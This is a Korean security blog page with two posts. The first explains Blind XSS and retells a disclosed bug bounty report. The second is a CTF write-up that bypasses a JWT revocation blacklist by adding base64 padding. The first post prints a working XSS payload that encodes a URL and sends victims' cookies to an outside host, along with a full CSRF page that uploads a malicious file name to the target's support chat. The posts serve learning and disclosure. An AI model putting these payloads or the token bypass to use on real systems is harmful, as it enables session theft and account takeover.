반응형

Hactivity 중에서 Blind XSS 관련 취약점이 눈에 띄길래 정리해보려고 합니다.

역시 XSS 취약점 중에서도 큰 금액인 $1,000를 바운티로 받았습니다. 아마 영향도가 커서 그렇게 적용된 것으로 보입니다.

 

Blind XSS(Cross Site Scripting)란?

Blind XSS 공격이란 Stored XSS 공격의 한 종류? CASE입니다. 저 같은 경우, XSS 취약점을 검수할 때는 우선 악성 스크립트 구문을 삽입한 후 응답 내 해당 구문이 정상적으로 삽입이 되었는가, 또 삽입된 구문이 클라이언트 측에서 성공적으로 실행이 되는가를 기준으로 점검하고 있습니다.

 

하지만, Blind XSS의 경우 삽입한 페이로드가 어디에 저장되었는지, 언제 실행될지 모르는 상황일 때를 말합니다. 예를 들어, 특정 사이트의 신고 또는 문의 기능처럼 사용자가 등록하였지만 해당 글은 노출되지 않고 관리자 페이지에서만 확인 가능한 경우..등이 대표적입니다. 

 

사실 기존에 알고있던 Stored XSS 취약점과 별반 다를 게 없지만, 공격자 측에서 악성 스크립트가 실행되는 여부 및 위치를 바로 확인할 수 없는 특수한 경우Blind XSS라고 칭하는 것을 이번에 처음 알게 되었습니다.

 

Blind XSS 공격은 언제 어디서 실행될지 모르지만 분명 잠재적인 영향력이 존재합니다. 관리자 페이지 또는 로그 서버 등에서 삽입된 악성 페이로드가 실행된다면, 내부망 침투까지 가능한 시나리오가 존재하기 때문에 더욱 위험합니다.

 

 

Blind XSS(Cross Site Scripting)의 대표적인 CASE

1. Logon forms

대부분의 사이트에서 로그인할 경우 성공 또는 실패한 로그인 기록을 로그 파일에 저장합니다.(책임 추적성 근거) 만약, 사용자 입력값에 대한 적절한 검증이 이루어지고 있지 않다면 공격자는 악의적인 스크립트 구문을 로그 DB/파일에 저장하기 위해 여러 번 로그온 시도를 할 것이고, 추후 관리자가 모니터링을 위해 웹 페이지에서 해당 로그를 오픈한다면 악의적으로 삽입된 구문이 실행될 수 있습니다.

 

2. Forums / Message boards

위에서 언급했다시피 공격자는 포럼 또는 게시판 제목 또는 내용 항목에 악성 스크립트 구문을 삽입할 수 있습니다. 데이터베이스에 저장된 악성 페이로드가 인기 보고서와 같은 포럼 관리 웹 페이지를 로드할 때 노출되어 스크립트 구문이 실행되며, 해당 스크립트로 인해 정보 노출, 리다이렉션, 서비스 거부 공격(DOS) 등을 야기할 수 있습니다.

 

3. ETC

  • Contact/Feedback pages
  • Log viewers
  • Exception handlers
  • Chat Applications / forums
  • Customer Ticket Applications
  • Web Application Firewalls
  • Any Application that requires user moderation

 

Bug Bounty CASE

실제 버그 바운티 사례를 보도록 하겠습니다.

 

 

요약하자면, 해커는 support 채팅에 이미지를 보내고, 해당 이미지 이름에 스크립트 구문을 삽입 후 변경하여 XSS 취약점을 발생시켰고, CSRF 취약점을 이용하여 XSS 취약점이 존재하는 이미지를 모든 사용자에게 보낼 수 있다고 설명하였습니다.

 

Steps to Reproduce 

1. support chat에 이미지 업로드

2. 파일 명을 아래의 스크립트 구문으로 변조

\"><img src=1 onerror=\"url=String['fromCharCode'](104,116,116,112,115,58,47,47,103,97,116,111,108,111,117,99,111,46,48,48,48,119,101,98,104,111,115,116,97,112,112,46,99,111,109,47,99,115,109,111,110,101,121,47,105,110,100,101,120,46,112,104,112,63,116,111,107,101,110,115,61)+encodeURIComponent(document['cookie']);xhttp= new XMLHttpRequest();xhttp['open']('GET',url,true);xhttp['send']();

3. support chat을 열 경우 XSS 공격이 실행된다.

 

4. 서버는 이미지 전송 시 토큰 값 및 헤더의 'Origin and Reference' 값을 검증하지 않아 CSRF 취약점이 발견

5. 임의의 웹 서버에 'index.php' 이름으로 CSRF 공격 파일 호스트

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://support.cs.money/upload_file", false);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
        xhr.withCredentials = "true";
        var body = "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"\\\" onerror=alert('xss') \\\"\"\r\n" +
          "Content-Type: image/png\r\n" +
          "\r\n" +
          String.fromCharCode(0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x06, 0x00, 0x00, 0x00, 0x1F, 0x15, 0xC4, 0x89, 0x00, 0x00, 0x00, 0x01, 0x73, 0x52, 0x47, 0x42, 0x00, 0xAE, 0xCE, 0x1C, 0xE9, 0x00, 0x00, 0x00, 0x04, 0x67, 0x41, 0x4D, 0x41, 0x00, 0x00, 0xB1, 0x8F, 0x0B, 0xFC, 0x61, 0x05, 0x00, 0x00, 0x00, 0x09, 0x70, 0x48, 0x59, 0x73, 0x00, 0x00, 0x0E, 0xC3, 0x00, 0x00, 0x0E, 0xC3, 0x01, 0xC7, 0x6F, 0xA8, 0x64, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x44, 0x41, 0x54, 0x18, 0x57, 0x63, 0xF8, 0xFB, 0xF7, 0xFF, 0x7F, 0x00, 0x09, 0xED, 0x03, 0xF9, 0x94, 0x8C, 0x14, 0xA8, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82) + "\r\n" +
          "-----------------------------256672629917035--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    try{      submitRequest();

    }catch(e){
        location.href="https://cs.money";

    }
    </script>

  </body>
</html>

6. 파일 링크를 더 짧은 도메인(bit.ly)으로 단축하거나 csmoney.shop과 같은 도메인 사용

7. 공격 구문 전송 후 Massive XSS 공격 성공

 

Blind XSS 대응방안

기존 Reflected, Stored XSS 취약점의 대응방안과 다를 게 없습니다. 따라서 가장 효과적인 방법으로는 "코드 검토를 통한 사용자 입력값 검증(위생처리)"라고 할 수 있습니다. 

 


좀 더 추가하고 싶은 내용이 생긴다면 추가할 예정!


※ 참고 자료

- https://hackerone.com/reports/1010466

- https://www.hahwul.com/2017/11/12/web-hacking-blind-xsscross-site/

- https://medium.com/@R0X4R/introduction-to-blind-xss-417dcf9c842c
- https://www.acunetix.com/websitesecurity/detecting-blind-xss-vulnerabilities/

- https://www.acunetix.com/blog/articles/blind-xss/

반응형

'Study > Bug Bounty' 카테고리의 다른 글

[XSS] DOM Based XSS(Cross Site Scripting)  (0) 2020.04.17
#1. Bug Bounty Platform  (0) 2020.02.21

반응형

Root-me에 추가된 문제 중에서 JWT 관련이고 25 포인트밖에 되지 않아서 쉽게 봤었는데 한동안 못 풀었던 문제였습니다..

 

JWT 토큰에 관련된 기본 사항들은 이전 포스트에 써놓았으니 참고하시길 바랍니다!

2019/12/20 - [Study/Wargame] - [root-me] JSON Web Token (JWT) - Introduction

 

[root-me] JSON Web Token (JWT) - Introduction

JSON Web Token(JWT) 관련 문제를 풀어보았습니다. 우선, JWT란 사용자와 서버간에 안전하고 신뢰할 수 있는 정보를 전달할 수 있는 토큰 값입니다. 주로, 회원 인증이나 안전하게 정보를 전달할 경우

ddungkill.tistory.com

 

Revoked Token 관련 문제를 우선 보면, 두 개의 접근 URL을 확인할 수 있습니다. 

1. POST 방식으로 접근하는 /web-serveur/ch63/login 부분과

2. GET 방식으로 접근하는 /web-serveur/ch63/admin 부분입니다.

 

먼저, GET 방식으로 요청되는 admin URL에 접근해보겠습니다.

위 스크린샷에서 보이듯이 Authorization Header 값이 필요합니다. 

 

Authorization값에 삽입되는 JWT 토큰 값을 획득하기 위해 POST 방식으로 요청되는 login URL에 접근해보겠습니다.

Json 형식으로 계정 아이디 값과 패스워드를 전송하라는 메시지가 출력됩니다. 친절하게 아이디와 패스워드까지 알려주었습니다.

 

JSON 형식으로 계정 정보를 전송하니! Access Token 즉 JWT 값이 출력되었습니다.

 

획득한 값을 admin URL 내 Authorization 헤더에 삽입하여 전송하였지만, 토큰이 Revoke(취소)되었다는 에러 메시지가 출력됩니다ㅠㅠ

 

문제 페이지 내에 있는 소스코드를 분석해보니, access_token 값의 유효 시간은 3분이고 해당 값을 발급하자마자 Black List로 보내버립니다. 즉, 저희는 유효하지만 발급되지 않은 JWT 토큰 값이 필요합니다.

 

이전 문제나, JWT Attack과 관련된 모든 방법을 다 써보았지만, 해결을 못하고 있었는데 Root-me에는 의견을 공유하는 게시판? 느낌의 메뉴가 있었습니다. 혹시나 해서 들어가 봤는데 역시나 저와 같은 문제로 인해 해결을 못한 사람들이 질문을 먼저 올려두었더라고요. 

 

해당 질문의 답변에서 유용한 정보를 얻을 수 있었습니다. RFC 4648이 도움이 될 것이라는 것을 말이죠.

 


RFC 4648

RFC 4648은 일반적으로 사용되는 BASE64/32/16 encoding scheme에 대한 내용이다. 이는 또 인코딩 된 데이터의 line-feed, padding, 비(非) 알파벳 문자, 다른 방식으로 인코딩 된 알파벳 등의 사용과 규범적인 인코딩에 대한 내용을 다루고 있다.

 

즉, 지정된 Base64의 포맷의 텍스트로 데이터를 반환하는 RFC의 표준입니다. 다른 형식을 찾아보면

RFC 번호 Text Encoding 지침
1421 최대 64의 행 길이 및 CRLF 라인 끝
2045 최대 76의 행 길이 및 CRLF 라인 끝
3548 줄바꿈이 추가되지 않음(구 버전)
4648 줄바꿈이 추가되지 않음(Default)
4880 최대 76의 행 길이, CRLF 라인 끝 및 추가된 24비트 CRC 값

등이 있습니다.


즉, 정확하게는 모르겠지만 BASE64 인코딩과 관련이 있다는 것을 예상할 수 있습니다.

 

JWT 값은 1. 헤더(Header), 2.정보(Payload), 3.서명(Signature) 가 각각 BASE64 형식으로 인코딩 됩니다.

이 경우 BASE64으로 인코딩 된 결과 값이 A이던, A=던, A==이던 서버는 크게 상관하지 않습니다. 즉 같은 값으로 인식된다는 거죠.

 

따라서, 이를 이용해 발급받은 JWT 값에 "="를 붙여서 보낸다면 서버는 발급하진 않았지만, 유효한 토큰 값(Black List에 없는)으로 인식해서

Flag 값을 획득할 수 있습니다.

 


※ 참고 자료

- https://www.ietf.org/rfc/rfc4648

- https://ko.wikipedia.org/wiki/%EB%B2%A0%EC%9D%B4%EC%8A%A464#RFC_4648

- https://cafe.naver.com/fmnc/148

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] SQL injection - Time based  (1) 2020.09.25
[root-me] XSLT - Code execution  (0) 2020.07.02
[root-me] Insecure Code Management  (0) 2020.04.07
[root-me] SQL Injection - File reading  (0) 2020.04.01
[root-me] SQL Injection - Routed  (0) 2020.03.20

+ Recent posts

반응형
반응형